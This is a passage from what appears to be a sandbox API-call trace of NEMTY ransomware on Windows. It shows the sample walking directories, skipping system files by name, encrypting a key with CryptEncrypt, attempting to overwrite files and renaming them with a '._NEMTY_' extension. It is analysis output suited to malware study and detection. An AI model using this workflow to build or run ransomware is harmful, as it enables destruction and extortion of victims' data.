lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.577] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2fc8a4cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2=".") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="..") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="...") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="windows") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="rsa") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="ntldr") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="MSDOS.SYS") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="IO.SYS") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="boot.ini") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="boot.ini") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="ntuser.dat") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="desktop.ini") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="CONFIG.SYS") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="RECYCLER") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="bootmgr") returned 1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="programdata") returned -1 [0164.577] lstrcmpiW (lpString1="greenStateIcon.png", lpString2="appdata") returned 1 [0164.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="greenStateIcon.png", lpUsedDefaultChar=0x0) returned 18 [0164.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="greenStateIcon.png", lpUsedDefaultChar=0x0) returned 18 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="greenStateIcon.png", lpUsedDefaultChar=0x0) returned 18 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="greenStateIcon.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="greenStateIcon.png", lpUsedDefaultChar=0x0) returned 18 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0164.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0164.578] Sleep (dwMilliseconds=0x5) [0164.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15c09050, dwHighDateTime=0x1d561e8)) [0164.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15c09050, dwHighDateTime=0x1d561e8)) [0164.593] GetLastError () returned 0x5 [0164.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.593] GetLastError () returned 0x5 [0164.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.594] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0164.594] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="sDVbXw1N1iED/uzEFEtvp7SO8SXvTu74Dfr1cdnnmtoS1qNYBoLSHy8/2ESGFvdi\r\ntIsfdfmJ5moO1A/zGwhvROwm42xJRuM4ZJSYla75nELhxgJMSVxElHIkRs0JCtSg\r\n9fCAhh+Dnydm1dVVckWlkytwqF9XJaznms7kDLNhZVBCv/2ezwT6tw+PlpJN/P6o\r\nwDAtqnd+x/TjtgiqJj+s4NkdM1HwkTyV2Ple0tlLWGQda+aChJsiOhQ025fCPnJa\r\nbclXHFnwU7QeaTqatM7G0Unfocp9cMfuRhgb/x/HbEzo0/vkGgob63FjFWt2scG6\r\njqkirEyb4g5THH0WRASLww==\r\n", pcchString=0x653e91c) returned 1 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0164.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.594] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\greenstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.595] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.702] CloseHandle (hObject=0xffffffff) returned 0 [0164.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0164.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0164.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\greenstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\greenStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\greenstateicon.png._nemty_kgobjgd_")) returned 0 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.702] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="info.png", cAlternateFileName="")) returned 1 [0164.702] lstrcmpiW (lpString1="info.png", lpString2=".") returned 1 [0164.702] lstrcmpiW (lpString1="info.png", lpString2="..") returned 1 [0164.702] lstrcmpiW (lpString1="info.png", lpString2="...") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="windows") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="$RECYCLE.BIN") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="rsa") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="NTDETECT.COM") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="ntldr") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="MSDOS.SYS") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="IO.SYS") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="boot.ini") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="boot.ini") returned 1 [0164.703] lstrcmpiW 